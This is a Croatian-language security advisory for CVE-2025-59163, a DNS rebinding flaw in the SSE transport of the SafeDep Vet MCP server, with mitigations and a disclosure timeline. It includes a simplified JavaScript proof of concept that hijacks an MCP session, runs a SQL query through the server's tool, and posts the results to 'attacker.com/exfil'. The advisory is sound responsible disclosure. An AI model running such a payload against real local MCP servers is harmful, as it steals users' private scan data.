Ranjivost DNS rebinding u SSE transportu poslužitelja Vet MCP
Autor: Evan Harris
Rizik: Nizak (CVSS 2.1/10)
Zahvaćena komponenta: SafeDep Vet MCP Server
CVE ID: CVE-2025-59163
Zahvaćene verzije: < v1.12.5
Ispravljene verzije: v1.12.5
Pregled
Poslužitelj SafeDep Vet MCP ranjiv je na napade DNS rebinding pri radu sa SSE transportom. Uzrok ranjivosti je nedostatak provjere HTTP zaglavlja Host i Origin, zbog čega zlonamjerne web stranice mogu zaobići zaštitu politike istog izvora (Same-Origin Policy) i izvoditi neovlaštene pozive alata protiv instanci Vet MCP.
Nakon uspješnog DNS rebindinga napadač može uspostaviti sesiju s krajnjom točkom /sse, pozvati omogućene MCP alate i izvući sadržaj korisnikove Vet SQLite baze podataka na poslužitelj pod kontrolom napadača.
Tim SafeDep brzo je reagirao na ovu objavu i u roku od nekoliko dana objavio ispravljenu verziju (v1.12.5) koja implementira provjeru zaglavlja Host i Origin putem popisa dopuštenih vrijednosti (allow list).
Tehnički detalji
Ranjivost
Kada poslužitelj Vet MCP radi sa SSE transportom (--server-type sse), izlaže HTTP krajnju točku koja prihvaća veze s bilo kojeg izvora. Na poslužitelju nedostaje provjera sljedećeg:
- HTTP zaglavlje Host - dopušta zahtjeve koji tvrde da dolaze s bilo koje domene
- HTTP zaglavlje Origin - dopušta zahtjeve između izvora sa zlonamjernih web stranica
Nedostatak ove provjere otvara mogućnost za napade DNS rebinding, u kojima:
- Napadač kontrolira domenu s DNS zapisima vrlo niskog TTL-a
- Žrtva posjeti napadačevu web stranicu (na primjer,
attacker.com) - Napadačev JavaScript u početku se razrješava u napadačev IP
- Nakon što preglednik žrtve keširanje vezu, DNS zapis mijenja se u
127.0.0.1 - Naknadni zahtjevi s
attacker.comsada ciljaju localhost žrtve - Politika istog izvora u pregledniku zaobilazi se jer izvor ostaje
attacker.com
Ranjiva konfiguracija
Napad zahtijeva sljedeće uvjete:
- Izvedeno je Vet skeniranje i izvještaji se zapisuju u bazu podataka
- Poslužitelj Vet MCP pokrenut je s omogućenim SSE transportom
- Napadač namami žrtvu na web stranicu pod svojom kontrolom
Vektor napada
Napadač iskorištava DNS rebinding kako bi:
- Uspostavio vezu s
http://127.0.0.1:9988/sse - Dobio valjani ID MCP sesije
- Inicijalizirao MCP sesiju
- Pozvao alat
vet_query_execute_sql_querys proizvoljnim READ SQL upitima - Primio odgovore putem SSE toka
- Izvukao podatke na poslužitelj pod kontrolom napadača
Scenarij napada
Priprema na strani žrtve
Istraživač sigurnosti ili razvojni programer:
- Instalira Vet za skeniranje ranjivosti ovisnosti
- Pokreće skeniranje:
vet scan -D /path/to/project - Pokreće MCP poslužitelj sa SSE transportom:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Poslužitelj se prema zadanim postavkama veže na
127.0.0.1:9988
Eksploatacija od strane napadača
Napadač priprema infrastrukturu za DNS rebinding:
- Postavlja DNS poslužitelj s wildcard zapisima za domenu (na primjer,
rebinder.attacker.com) - Konfigurira DNS poslužitelj tako da najprije vraća napadačev IP, a zatim se preveže na
127.0.0.1 - Hostira zlonamjernu web stranicu s JavaScriptom koji:
- Otkriva kada DNS rebinding uspije
- Povezuje se s Vet SSE krajnjom točkom na
http://127.0.0.1:9988/sse - Uspostavlja MCP sesiju
- Izvodi SQL upite prema bazi podataka žrtve
- Izvlači rezultate
Tijek eksploatacije
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Žrtvi je dovoljno samo posjetiti napadačevu web stranicu (na primjer, putem poveznice u phishing e-poruci, kompromitiranog oglasa ili zlonamjernog GitHub issuea) dok je njezin poslužitelj Vet MCP pokrenut.
Procjena utjecaja
Narušavanje povjerljivosti
Primarni utjecaj:
- Potpuni READ pristup Vet SQLite bazi podataka skeniranja putem alata
vet_query_execute_sql_query - Otkrivanje informacija o ranjivostima paketa, uključujući:
- Imena i verzije paketa u uporabi
- Poznate CVE-ove koji utječu na ovisnosti žrtve
- Ocjene ozbiljnosti i detalje ranjivosti
- Obavještajne podatke o opskrbnom lancu softvera
Pojačavanje rizika:
- Napadači stječu saznanja o ranjivim paketima u okruženju žrtve
- Ovisnosti i verzije paketa otkrivaju detalje tehnološkog stoga
- Ove informacije mogu se iskoristiti za izradu ciljanih eksploatacija
Zahtjevi za napad
Čimbenici koji ograničavaju mogućnost eksploatacije:
- Potrebna aktivna interakcija korisnika: žrtva mora posjetiti zlonamjernu web stranicu
- Vremenski prozor: poslužitelj Vet MCP mora biti aktivno pokrenut sa SSE transportom
- Zahtjev za konfiguraciju: žrtva mora izričito pokrenuti poslužitelj s
--server-type sse(a ne sa zadanim stdio transportom) - Temeljeno na pregledniku: za napad je potreban moderni preglednik s podrškom za EventSource
Ovi čimbenici doprinose niskoj ocjeni ozbiljnosti (CVSS 2.1/10) unatoč mogućnosti izvlačenja podataka.
Preporučene mjere ublažavanja
Za korisnike (odmah)
- Ažurirajte na v1.12.5 ili noviju:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Koristite stdio transport (zadani):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Mrežna izolacija:
- Pokrećite MCP poslužitelj samo na pouzdanim mrežama
- Koristite pravila vatrozida za ograničavanje pristupa portu 9988
- Izbjegavajte pregledavanje nepouzdanih web stranica dok je poslužitelj pokrenut
Za razvojne programere
Implementirano u v1.12.5:
- Provjera zaglavlja Host putem popisa dopuštenih vrijednosti (allow list)
- Provjera zaglavlja Origin radi sprječavanja zahtjeva između izvora
- Odbijanje zahtjeva s nevaljanim ili nedostajućim sigurnosnim zaglavljima
Najbolje prakse za implementacije MCP poslužitelja:
- Uvijek provjeravajte zaglavlja Host i Origin za transporte temeljene na HTTP-u
- Prema zadanim postavkama vežite se samo na localhost (
127.0.0.1), a ne na0.0.0.0 - Kada je moguće, dajte prednost stdio transportu nad mrežnim transportima
- Dokumentirajte sigurnosne posljedice različitih načina transporta
- Implementirajte stroge CORS politike
Vremenski slijed objave
- 2025-08-30: Početni izvještaj o ranjivosti poslan SafeDepu
- 2025-09-01: SafeDep potvrđuje primitak izvještaja
- 2025-09-02: SafeDep otvara pull request sa zakrpom koja implementira provjeru zaglavlja
- 2025-09-05: Objavljena je ispravljena verzija v1.12.5
- 2025-09-29: Objavljen GitHub Security Advisory, obje strane potvrdile su usklađeni datum objave
- 2025-10-06: Objavljena tehnička obavijest
Zaključak
Ranjivost DNS rebinding u poslužitelju Vet MCP pokazuje važan sigurnosni aspekt za implementacije MCP-a: mrežni transporti zahtijevaju pažljivu provjeru HTTP sigurnosnih zaglavlja radi sprječavanja napada između izvora.
Iako napad zahtijeva određene uvjete (aktivni MCP poslužitelj sa SSE transportom, posjet žrtve zlonamjernoj web stranici, vremenski prozor), mogućnost izvlačenja podataka opravdala je odgovornu objavu i izdavanje zakrpe.
Reakcija SafeDepa služi kao primjer odgovornih sigurnosnih praksi:
- Trenutno potvrđivanje primitka izvještaja
- Brz razvoj i izdavanje zakrpe (5 dana od prijave do izdanja)
- Koordinirana objava putem GitHub Security Advisory
- Jasna komunikacija tijekom cijelog procesa
Svi korisnici koji pokreću poslužitelj Vet MCP sa SSE transportom trebali bi se odmah ažurirati na v1.12.5. Za većinu slučajeva uporabe zadani stdio transport predstavlja sigurniju alternativu.